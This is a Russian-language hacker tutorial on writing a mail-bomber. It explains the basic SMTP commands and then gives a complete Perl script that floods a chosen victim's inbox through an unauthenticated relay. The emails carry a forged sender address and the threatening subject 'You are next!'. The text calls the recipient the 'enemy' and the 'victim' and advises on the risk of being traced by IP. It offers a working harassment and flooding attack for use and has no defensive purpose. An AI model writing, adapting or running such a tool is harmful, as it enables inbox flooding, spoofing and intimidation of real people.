Пишем свой мэйл-бомбер!


Не так давно ко мне в чате (здрям Spikir ;) обратились с просьбой дать какой-нить майл-бомбер, кинувшись на поиск с удивлением обнаружил только в одном месте - ShadowScan (где-то полтора мега размер зипа). Но т.к. мне через 2 мин надо было сваливать, а коннект был 21.6 то резона сливать ему это файло не было =(. Кинув пару линков, где возможно есть бомбер (кста oXid 10x), я ушел в оффлайн. Суть? А суть в том, что так человеку толком и не смог помочь (потому что хз, был ли там куда я дал линки бомбер или нет). Так вот седня мы набросаем простенький мэйл бомбер на перле. Слить такое файло по инету без проблем, файло будет занимать не больше 1 кб.

Теория. Очень кратко.
Для отправления (передачи) писем (электронных сообщений) служит протокол стека TCP/IP - SMTP (Simple Mail Transfer Protocol). Для работы с ним надо создать TCP соединение с сервером (у которого присутствует эта служба) на 25 порт. После этого нужно использовать команды этого протокола. Я обращу внимание на только нужные нам команды. Это HELO . Это мы с ним поздоровались =). MAIL FROM: <отправитель> - указываем отправителя. RCPT TO: <получатель> - указываем получателя (реальный e-mail врага). DATA - после этой команды можем отсылать текст письма. Конец письма указывается так - CRLF . CRLF, т.е. новоя строка, точка, снова новая строка. QUIT - завершение работы с SMTP сервером. Это основа. В теле письма (после команды DATA) вы можете написать еще один заголовок From:, To:, Subject:, после которого нужно послать две пустые строчки, чтоб начать сам текст письма =). Этот заголовок отображается в мэйл клиентах. Ясно что подделать обратный адрес для нас не проблема. Но ip адрес будет светиться =(. Вот исходник проги на перле (хочу обратить внимание, я сижу под Win, поэтому строка #!/usr/bin/perl у меня отсутствует):

#http://www.dhgroup.org/
#
#mailb.pl <smtp_server> <from> <to> <count>

use Net::SMTP;

$param=@ARGV;
if ($param cmp '4')
{
print 'usage: mailb.pl <smtp_server> <from> <to> <count> ';
exit;
}
$server=@ARGV[0];
$from=@ARGV[1];
$to=@ARGV[2];
$count=@ARGV[3];

$smtp = Net::SMTP->new($server);
for($i = 0; $i<$count; $i++)
{
$smtp->mail($from);
$smtp->to($to);
$smtp->data();
$smtp->datasend("From: $from\n");
$smtp->datasend("To: $to\n");
$smtp->datasend("Subject: You are next!\n");
$smtp->datasend("\n");
$smtp->datasend("Hello!!!\n");
$smtp->dataend();
}
$smtp->quit;
print "Ready. $count message sending";

В качестве первого параметра нужно указать адрес smtp сервера, с которого возможно без авторизации отправлять письма. Вообщем то ты и сам можешь выступить в качестве такого smtp сервера, лишь бы была соответствующая програмулина. Вторым параметром ты задаешь адрес с которого якобы были отправленны эти письма. Третьим параметром является адрес жертвы. Ну и последний - количество писем, которые ты желаешь отправить. Текст письма, как и сабж, можно смело редить. Вместо Hello!! подставь, что-нить свое. Кажись все. Для отправки юзали модуль Net::SMTP. Анонимности, как таковой, нету совсем (если не считать From:), твой ip будет светиться и если жертва не ламо, а ip не динамический, то подумай десять раз перед атакой =). Теперь точно все.

Все вопросы и остальное на rashray@inbox.ru